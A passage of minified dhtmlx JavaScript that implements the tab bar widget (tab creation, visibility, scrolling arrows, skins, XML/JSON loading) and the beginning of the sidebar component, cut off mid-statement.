base._ofs!=null&&this.base._ofs.t!=null){this.conf.tabsTop=this.base._ofs.t}this.tabsMode=document.createElement(\"DIV\");this.tabsMode.className=\"dhxtabbar_tabs_\"+this.conf.tabsMode;this.cont.appendChild(this.tabsMode);this.tabsArea=document.createElement(\"DIV\");this.tabsArea.className=\"dhxtabbar_tabs dhxtabbar_tabs_\"+this.conf.tabsMode;this.tabsArea.innerHTML=\"<div class='dhxtabbar_tabs_ar_left'><div class='dhxtabbar_arrow_img'></div></div><div class='dhxtabbar_tabs_base'><div class='dhxtabbar_tabs_cont_\"+this.conf.align+this.conf.tabsContCss+\"'><div class='dhxtabbar_tabs_line'></div></div></div><div class='dhxtabbar_tabs_ar_right'><div class='dhxtabbar_arrow_img'></div></div>\";this.tabsArea.style.top=(this.conf.tabsMode==\"top\"?this.conf.tabsTop+\"px\":\"auto\");this.tabsMode.appendChild(this.tabsArea);this.tabsArea.childNodes[1].childNodes[0].style[this.conf.align]=\"0px\";this.tabsArea.childNodes[0].onclick=function(){if(h.conf.align==\"left\"){h._moveTabs(1)}else{h._moveTabs(-1)}};this.tabsArea.childNodes[2].onclick=function(){if(h.conf.align==\"left\"){h._moveTabs(-1)}else{h._moveTabs(1)}};this._onTabsAreaClick=function(a){return this._callMainEvent(\"onTabClose\",[a])};this.tabsArea.onclick=function(n){n=n||event;var a=(n.target||n.srcElement);while(a!=null){if(typeof(a._tabCloseId)!=\"undefined\"){if(h._onTabsAreaClick(a._tabCloseId)!==true){return}h.t[a._tabCloseId].conf.remove=true;h._hideTab(a._tabCloseId);a=null}else{if(typeof(a._tabId)!=\"undefined\"){h._doOnClick(a._tabId);a=null}}if(a!=null){a=a.parentNode;if(a==this){a=null}}}};this.tabsArea.onselectstart=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}};this._doOnClick=function(a){this.callEvent(\"onTabClick\",[a,this.conf.lastActive]);if(this.t[a].conf.enabled){this._setTabActive(a)}};this.t={};this.addTab=function(a,v,o,s,r,w){if(typeof(w)!=\"boolean\"){w=(this.conf.closeButton==true)}r=window.dhx4.s2b(r);var q=document.createElement(\"DIV\");q.className=\"dhxtabbar_tab\";q.innerHTML=\"<div class='dhxtabbar_tab_text\"+(w?\" dhxtabbar_tab_text_close\":\"\")+\"'>\"+v+\"</div>\"+(w?\"<div class='dhxtabbar_tab_close'></div>\":\"\");q._tabId=a;if(w){q.childNodes[1]._tabCloseId=a}var n=this.tabsArea.childNodes[1].firstChild;if(s!=null&&s+1>0&&s+1<n.childNodes.length){n.insertBefore(q,n.childNodes[s+1])}else{n.appendChild(q)}var x=false;if(typeof(o)==\"undefined\"||o==null||o==\"*\"){o=this._getLabelWidth(v,w);x=true}else{o=parseInt(o)}q.style.width=o+\"px\";var u=new dhtmlXTabBarCell(a,this);this.tabsMode.appendChild(u.cell);this.t[a]={tab:q,cell:u,conf:{text:v,visible:true,active:false,enabled:true,close:w,width:o,autowidth:x}};n=u=null;if(r){this._setTabActive(a)}else{this._adjustCell(a)}if(this.conf.initSeq!=true&&this.conf.arwMode==\"auto\"){this.setSizes()}};this.setSizes=function(){this._adjustCont();if(this.conf.tabsAreaOfs==null){this.tabsArea.style.width=this.cont.offsetWidth+\"px\";this.conf.tabsAreaOfs=parseInt(this.tabsArea.style.width)-this.tabsArea.offsetWidth}this.tabsArea.style.width=this.cont.offsetWidth+this.conf.tabsAreaOfs+\"px\";this._adjustCell(this.conf.lastActive);this._adjustTabs(true);this.callEvent(\"_onSetSizes\",[])};this._adjustCell=function(q){if(!this.conf.contZone||q==null){return}var o=(this.conf.tabsMode==\"top\"?this.tabsArea.offsetHeight:0)+this.conf.tabsTop;var n=this.cont.offsetHeight-this.tabsArea.offsetHeight-this.conf.tabsTop;var a=this.t[q].cell.dataType;if(this.conf.skin==\"dhx_skyblue\"&&(a==\"layout\"||a==\"tabbar\"||a==\"acc\")){if(this.conf.tabsMode==\"top\"){o=o-1}n=n+1}if(q!=this.conf.lastActive){o=-5000;this.t[q].cell.cell.style.visibility=\"hidden\";this.t[q].cell.cell.style.zIndex=0}this.t[q].cell._setSize(0,o,this.cont.offsetWidth,n)};this.setTabsMode=function(a){this.conf.tabsMode=(a==\"bottom\"?\"bottom\":\"top\");this.tabsMode.className=\"dhxtabbar_tabs_\"+this.conf.tabsMode;this.tabsArea.className=\"dhxtabbar_tabs dhxtabbar_tabs_\"+this.conf.tabsMode;this.tabsArea.style.top=(this.conf.tabsMode==\"top\"?this.conf.tabsTop+\"px\":\"auto\");this.setSizes()};this._tabCss=function(s,q){var n=this.t[s].conf.active;var r=!this.t[s].conf.enabled;var o=!this.t[s].conf.visible;return\"dhxtabbar_tab\"+(o?\" dhxtabbar_tab_hidden\":(n||r?\" dhxtabbar_tab\"+(n?\"_actv\":\"\")+(r?\"_dis\":\"\"):\"\"))};this._getLabelWidth=function(o,n){if(this.tabsTextTest==null){this.tabsTextTest=document.createElement(\"SPAN\");this.tabsTextTest.className=\"dhxtabbar_tabs_text_test_\"+this.conf.skin}document.body.appendChild(this.tabsTextTest);this.tabsTextTest.innerHTML=o;var a=this.tabsTextTest.offsetWidth;if(window.dhx4.isIE&&a==0){a=this.tabsTextTest.offsetWidth}a+=this.conf.tabsWidth[this.conf.skin][0];if(n==true){a+=this.conf.tabsWidth[this.conf.skin][1]}document.body.removeChild(this.tabsTextTest);return a};this._adjustTabs=function(r){if(this._checkArrows()==true||r==true){this.tabsArea.childNodes[1].style.left=this.tabsArea.childNodes[0].offsetWidth-1+\"px\";this.tabsArea.childNodes[1].style.width=Math.max(0,this.tabsArea.offsetWidth-this.tabsArea.childNodes[0].offsetWidth-this.tabsArea.childNodes[2].offsetWidth)+1+\"px\"}var u=this.tabsArea.childNodes[1];if(u.offsetWidth<5){u=null;return}var a=parseInt(u.childNodes[0].style[this.conf.align]);var o=null;for(var s=0;s<u.childNodes[0].childNodes.length;s++){var v=u.childNodes[0].childNodes[s]._tabId;if(v!=null&&this.t[v].conf.visible){var n=this.t[v].tab.offsetWidth-this.conf.tabsOfs;if(this.t[v].conf.active){if(a<0||u.offsetWidth<n){o={d:1,id:v}}else{if(a+n>u.offsetWidth){o={d:-1,id:v}}}}a+=n}}if(o!=null){this._moveTabs(o.d,o.id)}else{if(u.offsetWidth>a+1){u.childNodes[0].style[this.conf.align]=Math.min(0,parseInt(u.childNodes[0].style[this.conf.align])+(u.offsetWidth-a))+\"px\"}}u=o=null};this._moveTabs=function(y,r){var o=this.tabsArea.childNodes[1].childNodes[0];var v=0;var A=[];var D=null;for(var a=0;a<o.childNodes.length;a++){var n=o.childNodes[a]._tabId;if(n!=null&&this.t[n].conf.visible){A.push({id:n,w:this.t[n].tab.offsetWidth-this.conf.tabsOfs,ind:v});if(n==r){D=v}v++}}var C=parseInt(this.tabsArea.childNodes[1].childNodes[0].style[this.conf.align]);var u=this.tabsArea.offsetWidth-this.tabsArea.childNodes[0].offsetWidth-this.tabsArea.childNodes[2].offsetWidth;var w=null;var s=null;for(var a=0;a<A.length;a++){A[a].x=C;if(w==null&&C>=0&&C+A[a].w>0){w=A[a]}if(C<u&&C+A[a].w<=u){s=A[a]}C+=A[a].w}if(D!=null){var E=A[D]}else{var E=null;if(y>0){if(w==null){if(A.length>0){E=A[A.length-1]}}else{if(w.ind>0&&A.length>=w.ind){E=A[w.ind-1]}}}else{if(s==null){if(A.length>0){E=A[0]}}else{if(A.length>s.ind){E=A[s.ind+1]}}}}if(E!=null){if(y>0){if(C<u){o.style[this.conf.align]=Math.min(0,parseInt(o.style[this.conf.align])+(u-C))+\"px\"}else{o.style[this.conf.align]=parseInt(o.style[this.conf.align])-E.x+\"px\"}}else{o.style[this.conf.align]=parseInt(o.style[this.conf.align])-E.x+u-E.w+\"px\"}}o=E=A=null};this._getNextVisible=function(n,a){return this._getNearVisible(n,a,\"next\")};this._getPrevVisible=function(n,a){return this._getNearVisible(n,a,\"previous\")};this._getFirstVisible=function(){return this._getNearVisible(null,false,\"first\")};this._getNearVisible=function(s,o,r){if(r==\"first\"){var q=this.tabsArea.childNodes[1].childNodes[0].childNodes[1];r=\"next\"}else{if(s==null||this.t[s]==null){return(o?this._getFirstVisible():null)}var q=this.t[s].tab[r+\"Sibling\"]}var n=null;while(q!=null&&n==null){var a=q._tabId;if(a!=null&&n==null&&this.t[a].conf.visible){n=a}else{q=q[r+\"Sibling\"]}}q=null;return n};this._showTab=function(n,a){if(this.t[n]==null){return}if(this.t[n].conf.transActv==true){if(this.t[n].conf.transMode==\"show\"){return}}else{if(this.t[n].conf.visible==true){return}}if(this.conf.transProp!==false){this.t[n].conf.transActv=true;this.t[n].conf.transMode=\"show\";this.t[n].conf.transProp=this.conf.transProp;this.t[n].conf.transActvId=(a?n:null);if(!this.t[n].conf.transEv){this.t[n].tab.addEventListener(this.conf.transEv,this._doOnTrEnd,false);this.t[n].conf.transEv=true}this.t[n].conf.visible=true;this.t[n].tab.className=this._tabCss(n);this.t[n].tab.style[this.conf.transProp]=this.conf.transValueWidth;this.t[n].tab.style.width=this.t[n].conf.width+\"px\";if(this.t[n].tab.clientWidth>=this.t[n].conf.width){this.t[n].tab.style.visibility=\"visible\"}}else{this.t[n].conf.visible=true;this.t[n].tab.style.display=\"\";if(a||this.t[n].conf.active){this.t[n].conf.active=false;this._setTabActive(n)}else{this._adjustTabs()}}};this._hideTab=function(s,a){if(this.t[s]==null){return}if(this.t[s].conf.transActv==true){if(this.t[s].conf.transMode==\"hide\"){return}}else{if(this.t[s].conf.visible!=true){return}}var n=false;if(this.conf.lastActive==s){this.conf.lastActive=null;this.t[s].conf.active=false;this.t[s].tab.className=this._tabCss(s);n=true}var q=this._getPrevVisible(s);var o=this._getNextVisible(s);var r=(n&&a!==false?(a==true?null:a)||o||q:null);if(this.conf.transProp!==false){this.t[s].conf.transActv=true;this.t[s].conf.transMode=\"hide\";this.t[s].conf.transProp=this.conf.transProp;this.t[s].conf.transActvId=r;this.t[s].conf.visible=false;if(!this.t[s].conf.transEv){this.t[s].tab.addEventListener(this.conf.transEv,this._doOnTrEnd,false);this.t[s].conf.transEv=true}this.t[s].tab.style.visibility=\"hidden\";this.t[s].tab.className=h._tabCss(s);this.t[s].tab.style[this.conf.transProp]=this.conf.transValueWidth;this.t[s].tab.style.width=\"0px\"}else{this.t[s].tab.style.display=\"none\";this.t[s].conf.visible=false;if(this.conf.contZone){this.t[s].cell.cell.style.visibility=\"hidden\";this.t[s].cell.cell.style.top=\"-5000px\"}if(r!=null){this._setTabActive(r)}this._adjustTabs();if(this.t[s].conf.remove){this._removeTab(s)}}};this._isTabVisible=function(a){return(this.t[a].conf.visible==true)};this._doOnTrEnd=function(){var o=this._tabId;if(h.t[o]==null){return}var a=h.t[o];var n=a.conf.transActvId;if(a.conf.transMode==\"hide\"){if(a.conf.remove){h._removeTab(o)}else{a.tab.style[a.conf.transProp]=\"\";if(h.conf.contZone){a.cell.cell.style.visibility=\"hidden\";a.cell.cell.style.top=\"-5000px\"}a.conf.transActv=false}}else{if(a.conf.transMode==\"show\"){a.tab.style[a.conf.transProp]=\"\";a.tab.style.visibility=\"visible\";a.conf.transMode=null;a.conf.transActv=false}}if(n!=null){h._setTabActive(n)}else{h._adjustTabs()}a=null};this.enableTabCloseButton=function(a){this.conf.closeButton=window.dhx4.s2b(a)};this.unload=function(){this.conf.unloading=true;this.clearAll();this.t=null;if(this.tabsTextTest!=null){if(this.tabsTextTest.parentNode){this.tabsTextTest.parentNode.removeChild(this.tabsTextTest)}this.tabsTextTest=null}window.dhx4._enableDataLoading(this,null,null,null,\"clear\");this.tabsArea.childNodes[0].onclick=null;this.tabsArea.childNodes[2].onclick=null;this.tabsArea.onclick=null;this.tabsArea.onselectstart=null;this.tabsArea.parentNode.removeChild(this.tabsArea);this.tabsArea=null;this.tabsMode.parentNode.removeChild(this.tabsMode);this.tabsMode=null;this._unloadTop();window.dhx4._eventable(this,\"clear\");for(var n in this){this[n]=null}h=null};this.enableContentZone=function(a){this.conf.contZone=(a==true)};this.setSkin=function(o){this._setBaseSkin(o);this.conf.skin=o;if(this.tabsTextTest!=null){this.tabsTextTest.className=\"dhxtabbar_tabs_text_test_\"+this.conf.skin}for(var n in this.t){this.t[n].cell._resetSizeState();if(this.t[n].conf.autowidth==true){this.t[n].conf.width=this._getLabelWidth(this.t[n].conf.text,this.t[n].conf.close);if(this.t[n].conf.visible){this.t[n].tab.style.width=this.t[n].conf.width+\"px\"}}}this.conf.tabsAreaOfs=null;this._fixTabsOfs();this.setSizes()};this.setAlign=function(a){a=(a==\"left\"?\"left\":\"right\");if(a==this.conf.align){this.tabsArea.childNodes[1].childNodes[0].style[this.conf.align]=\"0px\";return}if(this.conf.transProp!==false){this.tabsArea.childNodes[1].childNodes[0].style[this.conf.transProp]=\"\"}this.tabsArea.childNodes[1].childNodes[0].style[this.conf.align]=\"\";this.conf.align=a;this.tabsArea.childNodes[1].childNodes[0].className=\"dhxtabbar_tabs_cont_\"+this.conf.align+this.conf.tabsContCss;this.tabsArea.childNodes[1].childNodes[0].style[this.conf.align]=\"0px\";if(this.conf.transProp!==false){this.conf.transValuePos=this.conf.align+\" \"+this.conf.transSpeed;this.tabsArea.childNodes[1].childNodes[0].style[this.conf.transProp]=this.conf.transValuePos}};this._initObj=function(r){this.conf.initSeq=true;this.clearAll();var a=false;if(r.settings!=null){if(r.settings.skin!=null){this.setSkin(r.settings.skin)}if(r.settings.closeButton!=null){this.enableTabCloseButton(window.dhx4.s2b(r.settings.closeButton))}if(r.settings.align!=null){this.setAlign(r.settings.align)}if(r.settings.hrefmode==\"ajax\"){a=true}if(r.settings.hrefmode==\"ajax-html\"){a=true;this.conf.url_demand=true}}if(r.tabs!=null){for(var o=0;o<r.tabs.length;o++){var n=r.tabs[o];if(typeof(n.id)==\"undefined\"){n.id=window.dhx4.newId()}if(!isNaN(parseInt(n.width))){n.width=parseInt(n.width)}else{n.width=null}this.addTab(n.id,n.text||n.label||\"\",n.width,n.index,window.dhx4.s2b(n.selected)||window.dhx4.s2b(n.active),n.close);if(n.content!=null){this.cells(n.id).attachHTMLString(n.content)}else{if(n.href!=null){if(this.conf.url_demand==true){this.conf.urls[n.id]={href:n.href,ajax:a}}else{this.cells(n.id).attachURL(n.href,a)}}}if(typeof(n.enabled)!=\"undefined\"&&window.dhx4.s2b(n.enabled)==false){this.tabs(n.id).disable()}else{if(typeof(n.disabled)!=\"undefined\"&&window.dhx4.s2b(n.disabled)==true){this.tabs(n.id).disable()}}}}this.conf.initSeq=false;if(this.conf.arwMode==\"auto\"){this.setSizes()}if(this.conf.url_demand==true){this._loadURLOnDemand(this.conf.lastActive)}};this._xmlToObj=function(v){var u={settings:{},tabs:[]};var n=v.getElementsByTagName(\"tabbar\")[0];if(n!=null){for(var x in {skin:1,align:1,closeButton:1,hrefmode:1}){if(n.getAttribute(x)!=null){u.settings[x]=n.getAttribute(x)}}var A=n.getElementsByTagName(\"tab\");for(var o=0;o<A.length;o++){var s={text:(A[o].firstChild.nodeValue||\"\")};for(var x in {id:1,width:1,close:1,selected:1,active:1,enabled:1,disabled:1,href:1}){if(A[o].getAttribute(x)!=null){s[x]=A[o].getAttribute(x)}}var C=A[o].getElementsByTagName(\"content\")[0];if(C!=null){s.content=\"\";for(var y=0;y<C.childNodes.length;y++){s.content+=(C.childNodes[y].nodeValue||\"\")}}u.tabs.push(s)}}return u};dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToObj\",\"tabbar\",{struct:true});var e=window.dhx4.transDetect();this.conf.transProp=e.transProp;this.conf.transEv=e.transEv;this.conf.transValueWidth=\"width \"+this.conf.transSpeed;e=null;if(this.conf.transProp!==false){this.conf.transValuePos=this.conf.align+\" \"+this.conf.transSpeed;this.tabsArea.childNodes[1].childNodes[0].style[this.conf.transProp]=this.conf.transValuePos}this._callMainEvent=function(n,a){return this.callEvent(n,a)};window.dhx4._eventable(this);if(this.conf.autoload.json!=null){this.loadStruct(this.conf.autoload.json,this.conf.autoload.onload)}else{if(this.conf.autoload.xml!=null){this.loadStruct(this.conf.autoload.xml,this.conf.autoload.onload)}else{if(this.conf.autoload.tabs!=null){this.loadStruct({tabs:this.conf.autoload.tabs})}}}if(this.conf.autoload.arrows_mode!=null){this.setArrowsMode(this.conf.autoload.arrows_mode)}this._fixTabsOfs();this.setSizes();return this}dhtmlXTabBar.prototype=new dhtmlXCellTop();dhtmlXTabBar.prototype._fixTabsOfs=function(){this.conf.tabsOfs=(this.conf.skin==\"dhx_web\"?0:1)};dhtmlXTabBar.prototype.cells=dhtmlXTabBar.prototype.tabs=function(a){if(this.t[a]){return this.t[a].cell}return null};dhtmlXTabBar.prototype.getAllTabs=function(){var e=[];for(var c in this.t){e.push(c)}return e};dhtmlXTabBar.prototype._setTabActive=function(c,a){if(!this.t[c]||this.t[c].conf.active){return}if(typeof(a)==\"undefined\"){a=true}if(a==true&&this.callEvent(\"onSelect\",[c,this.conf.lastActive])!==true){return}this.setTabInActive();this.t[c].conf.active=true;if(this.conf.contZone){this.t[c].cell.cell.style.visibility=\"visible\";this.t[c].cell.cell.style.top=\"0px\";this.t[c].cell.cell.style.zIndex=1}this.t[c].tab.className=this._tabCss(c);this.conf.lastActive=c;this.setSizes();if(this.conf.url_demand==true){this._loadURLOnDemand(c)}};dhtmlXTabBar.prototype.setTabInActive=function(){if(this.conf.lastActive&&this.t[this.conf.lastActive]){this.t[this.conf.lastActive].conf.active=false;if(this.conf.contZone){this.t[this.conf.lastActive].cell.cell.style.visibility=\"hidden\";this.t[this.conf.lastActive].cell.cell.style.top=\"-5000px\";this.t[this.conf.lastActive].cell.cell.style.zIndex=0}this.t[this.conf.lastActive].tab.className=this._tabCss(this.conf.lastActive);this.conf.lastActive=null}};dhtmlXTabBar.prototype._isTabActive=function(a){return(a==this.conf.lastActive&&this.conf.lastActive!=null)};dhtmlXTabBar.prototype.getActiveTab=function(){return this.conf.lastActive};dhtmlXTabBar.prototype.goToNextTab=function(){var a=this._getNextVisible(this.conf.lastActive,true);if(a!=null){this._setTabActive(a)}};dhtmlXTabBar.prototype.goToPrevTab=function(){var a=this._getPrevVisible(this.conf.lastActive,true);if(a!=null){this._setTabActive(a)}};dhtmlXTabBar.prototype._enableTab=function(c,a){if(!this.t[c]||this.t[c].conf.enabled){return}this.t[c].conf.enabled=true;this.t[c].tab.className=this._tabCss(c);if(a==true){this._setTabActive(c)}};dhtmlXTabBar.prototype._disableTab=function(c,a){if(!this.t[c]||!this.t[c].conf.enabled){return}this.t[c].conf.enabled=false;this.t[c].tab.className=this._tabCss(c);if(a!==false&&this.conf.lastActive==c){if(a==true){a=this._getNextVisible(c)||this._getPrevVisible(c)}this._setTabActive(a)}};dhtmlXTabBar.prototype._isTabEnabled=function(a){return(this.t[a]!=null&&this.t[a].conf.enabled==true)};dhtmlXTabBar.prototype._setTabText=function(g,e,c){if(!this.t[g]){return}var a=false;if(typeof(c)==\"undefined\"||c==null){c=this._getLabelWidth(e,this.t[g].conf.close);a=true}this.t[g].tab.style.width=c+\"px\";this.t[g].tab.childNodes[0].innerHTML=e;this.t[g].conf.text=e;this.t[g].conf.width=c;this.t[g].conf.autowidth=a};dhtmlXTabBar.prototype._getTabText=function(a){if(!this.t[a]){return null}return this.t[a].conf.text};dhtmlXTabBar.prototype._removeTab=function(n,e,l){if(!this.t[n]){return}if(l!=true&&this.t[n].conf.remove!=true){this.t[n].conf.remove=true;this._hideTab(n,e);return}if(typeof(e)==\"undefined\"){e=true}var g=this._getNextVisible(n);var h=this._getPrevVisible(n);if(this.t[n].conf.transEv==true){this.t[n].tab.removeEventListener(this.conf.transEv,this._doOnTrEnd,false);this.t[n].conf.transEv=false}for(var c in this.t[n].conf){this.t[n].conf[c]=null}this.t[n].conf=null;delete this.t[n].conf;this.t[n].cell._unload();this.t[n].cell=null;this.t[n].tab.parentNode.removeChild(this.t[n].tab);this.t[n].tab=null;this.t[n]=null;delete this.t[n];if(this.conf.lastActive==n&&e!=false){this.conf.lastActive=null;var m=(e==true?(g||h||this._getFirstVisible()):e);if(m!=null){this._setTabActive(m)}}else{if(l!=true){this._adjustTabs()}}};dhtmlXTabBar.prototype.clearAll=function(){for(var c in this.t){this._removeTab(c,false,true)}this.tabsArea.childNodes[1].childNodes[0].style[this.conf.align]=\"0px\"};dhtmlXTabBar.prototype.moveTab=function(e,a){if(!this.t[e]||a<0){return}a+=1;var c=this.tabsArea.childNodes[1].firstChild;if(c.childNodes[a]!=this.t[e].tab){c.removeChild(this.t[e].tab);if(a>=c.childNodes.length){c.appendChild(this.t[e].tab)}else{c.insertBefore(this.t[e].tab,c.childNodes[a])}}c=null};dhtmlXTabBar.prototype._getIndex=function(g){var a=-1;var e=this.tabsArea.childNodes[1].firstChild;for(var c=1;c<e.childNodes.length;c++){if(e.childNodes[c]._tabId==g){a=c-1}}e=null;return a};dhtmlXTabBar.prototype.getNumberOfTabs=function(g){var e=0;for(var c in this.t){e+=(g!=true?1:(this.t[c].conf.visible==true?1:0))}return e};dhtmlXTabBar.prototype.forEachCell=dhtmlXTabBar.prototype.forEachTab=function(e){for(var c in this.t){e.apply(window,[this.t[c].cell])}};dhtmlXTabBar.prototype.enableAutoReSize=function(){this._initFSResize()};dhtmlXTabBar.prototype.setArrowsMode=function(a){a={auto:\"auto\",always:\"always\"}[String(a)];if(a==null||a==this.conf.mode){return}this.conf.arwMode=a;if(a==\"always\"){this.tabsArea.childNodes[0].className=\"dhxtabbar_tabs_ar_left\";this.tabsArea.childNodes[2].className=\"dhxtabbar_tabs_ar_right\"}this.setSizes()};dhtmlXTabBar.prototype._checkArrows=function(){var h=false;if(this.conf.arwMode==\"auto\"){var g=0;for(var e in this.t){g+=this.t[e].tab.offsetWidth}var c=this.tabsArea.childNodes[0];var l=this.tabsArea.childNodes[2];if(g>this.cont.offsetWidth){if(c.className.search(/dhxtabbar_tabs_ar_hidden/)>=0){c.className=c.className.replace(/\\s{0,}dhxtabbar_tabs_ar_hidden/,\"\");l.className=l.className.replace(/\\s{0,}dhxtabbar_tabs_ar_hidden/,\"\");h=true}}else{if(c.className.search(/dhxtabbar_tabs_ar_hidden/)<1){c.className+=\" dhxtabbar_tabs_ar_hidden\";l.className+=\" dhxtabbar_tabs_ar_hidden\";h=true}}c=l=null}return h};dhtmlXTabBar.prototype._loadURLOnDemand=function(a){if(a!=null&&this.conf.urls[a]!=null){this.cells(a).attachURL(this.conf.urls[a].href,this.conf.urls[a].ajax);this.conf.urls[a]=null}};window.dhtmlXTabBarCell=function(g,e){dhtmlXCellObject.apply(this,[g,\"_tabbar\"]);this.tabbar=e;this.conf.skin=this.tabbar.conf.skin;this.conf.tabbar_funcs={show:\"_showTab\",hide:\"_hideTab\",isVisible:\"_isTabVisible\",enable:\"_enableTab\",disable:\"_disableTab\",isEnabled:\"_isTabEnabled\",getIndex:\"_getIndex\",getText:\"_getTabText\",setText:\"_setTabText\",setActive:\"_setTabActive\",isActive:\"_isTabActive\",close:\"_removeTab\"};this._tabbarCall=function(a){return function(){var h=[this._idd];for(var l=0;l<arguments.length;l++){h.push(arguments[l])}return this.tabbar[a].apply(this.tabbar,h)}};for(var c in this.conf.tabbar_funcs){if(typeof(this[c])!=\"function\"){this[c]=this._tabbarCall(this.conf.tabbar_funcs[c])}}this.attachEvent(\"_onCellUnload\",function(){this.tabbar=null;for(var h in this.conf.tabbar_funcs){this[h]=null;this.conf.tabbar_funcs[h]=null}this.conf.tabbar_funcs=null});this.attachEvent(\"_onContentLoaded\",function(){this.tabbar._callMainEvent(\"onContentLoaded\",arguments);this.tabbar._callMainEvent(\"onTabContentLoaded\",arguments)});this.attachEvent(\"_onContentAttach\",function(){this.tabbar._adjustCell(this.tabbar.conf.lastActive)});this.attachEvent(\"_onBeforeContentAttach\",function(a){if(a==\"sidebar\"&&this.conf.skin!=\"dhx_skyblue\"){this._hideBorders()}})};window.dhtmlXTabBarCell.prototype=new dhtmlXCellObject();dhtmlXCellObject.prototype.attachTabbar=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"tabbar\"]);if(typeof(a)==\"string\"){a={mode:a}}else{if(typeof(a)!=\"object\"||a==null){a={}}}var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";if(typeof(window.dhtmlXAccordionCell)!=\"undefined\"&&(this instanceof window.dhtmlXAccordionCell)){c._ofs={t:-1}}if(typeof(window.dhtmlXTabBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXTabBarCell)){if(this.conf.skin==\"dhx_skyblue\"){c._ofs={t:-1,r:-1,b:-1,l:-1}}}if(typeof(window.dhtmlXSideBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXSideBarCell)){c._ofs={l:-1}}if(typeof(window.dhtmlXCarouselCell)!=\"undefined\"&&(this instanceof window.dhtmlXCarouselCell)){this._hideBorders()}this._attachObject(c);a.skin=this.conf.skin;a.parent=c;this.dataType=\"tabbar\";this.dataObj=new dhtmlXTabBar(a);a.parent=c=null;a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};function dhtmlXTabBarInitFromHTML(){var z=document.getElementsByTagName(\"div\");for(var i=0;i<z.length;i++){if(z[i].className.indexOf(\"dhtmlxTabBar\")!=-1){var conf={settings:{},tabs:[]};var n=z[i];var id=n.id;n.className=\"\";var k=new Array();for(var j=0;j<n.childNodes.length;j++){if(n.childNodes[j].tagName&&n.childNodes[j].tagName!=\"!\"){k[k.length]=n.childNodes[j]}}var skin=n.getAttribute(\"skin\");if(skin!=null){conf.settings.skin=skin}var w=new dhtmlXTabBar({parent:id,mode:n.getAttribute(\"mode\")});window[id]=w;acs=n.getAttribute(\"onbeforeinit\");if(acs){eval(acs)}align=n.getAttribute(\"align\");if(align){conf.settings.align=align}var cont={};for(var j=0;j<k.length;j++){var m=k[j];var tab={id:m.id,text:m.getAttribute(\"name\"),width:m.getAttribute(\"width\"),selected:m.getAttribute(\"selected\"),active:m.getAttribute(\"active\"),close:m.getAttribute(\"close\")};var href=m.getAttribute(\"href\");if(href){cont[m.id]={href:href}}else{cont[m.id]={cont:m}}conf.tabs.push(tab)}w.loadStruct(conf);for(var a in cont){if(cont[a].href){w.cells(a).attachURL(cont[a].href);cont[a].href=null}else{w.cells(a).attachObject(cont[a].cont);if(cont[a].cont.style.display==\"none\"){cont[a].cont.style.display=\"\"}cont[a].cont=null}cont[a]=null}var selId=n.getAttribute(\"select\");if(selId!=null){w.tabs(selId).setActive()}else{if(w.getActiveTab()==null){var v=w._getFirstVisible();if(v!=null){w.cells(v).setActive()}}}acs=n.getAttribute(\"oninit\");if(acs){eval(acs)}}}if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"load\",dhtmlXTabBarInitFromHTML,false)}else{window.detachEvent(\"onload\",dhtmlXTabBarInitFromHTML)}}if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"load\",dhtmlXTabBarInitFromHTML,false)}else{window.attachEvent(\"onload\",dhtmlXTabBarInitFromHTML)}function dhtmlXSideBar(c){var e=this;this.conf={skin:(c.skin||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxsidebar\")||\"dhx_skyblue\"),css:\"dhxsidebar\",width:c.width||200,scroll_size:12,scroll_mult:20,close_button:false,icons_path:c.icons_path||\"\",selected:null,single_cell:(typeof(c.single_cell)==\"undefined\"?false:window.dhx4.s2b(c.single_cell)),cell:null};this.setTemplate(c.template);window.dhtmlXCellTop.apply(this,[c.parent,(c==null?null:c.offsets)]);window.dhx4._eventable(this);if(window.navigator.msPointerEnabled==true){this.conf.touch_ms=true;this.conf.touch_start=\"MSPointerDown\",this.conf.touch_end=\"MSPointerUp\"}else{this.conf.touch_ms=false;this.conf.touch_start=\"touchstart\",this.conf.touch_end=\"touchend\"}this.side=document.createElement(\"DIV\");this.side.className=\"dhxsidebar_side dhxsidebar_tpl_\"+this.conf.tpl_name;this.side.innerHTML=\"<div class='dhxsidebar_side_items'></div>\";this.cont.appendChild(this.side);window.setTimeout(function(){if(e!=null&&e.side!=null){e.side.firstChild.style.top=\"0px\"}},1);this.arw=document.createElement(\"DIV\");this.arw.className=\"dhxsidebar_arrows dhxsidebar_arrows_hidden\";this.arw.innerHTML=\"<div class='dhxsidebar_arrow dhxsidebar_arrow_left'><div class='dhxsidebar_arrow_image'></div></div><div class='dhxsidebar_arrow dhxsidebar_arrow_right'><div class='dhxsidebar_arrow_image'></div></div>\";this.cont.appendChild(this.arw);this._doOnArwClick=function(h){h=h||event;if(h.type!=\"click\"&&h.preventDefault){h.preventDefault()}var g=h.target||h.srcElement;if(g.className.match(/dhxsidebar_arrow_image/)!=null){g=g.parentNode}if(g.className.match(/dhxsidebar_arrow_left/)!=null){e._scrollSide(-e.conf.scroll_size)}else{if(g.className.match(/dhxsidebar_arrow_right/)!=null){e._scrollSide(e.conf.scroll_size)}}g=null};if(typeof(window.addEventListener)==\"function\"){this.arw.addEventListener(this.conf.touch_start,this._doOnArwClick,false);this.arw.addEventListener(\"click\",this._doOnArwClick,false)}else{this.arw.attachEvent(\"onclick\",this._doOnArwClick)}this._doOnSideClick=function(l){l=l||event;var h=l.target||l.srcElement;var m=null;var g=false;if(l.type==\"touchstart\"||l.type==\"pointerdown\"||l.type==\"MSPointerDown\"){if(l.preventDefault){l.preventDefault()}if(this.className.match(/dhxsidebar_touch/gi)==null){if(l.type==\"touchstart\"||(l.type==\"pointerdown\"&&l.pointerType==\"touch\")){this.className+=\" 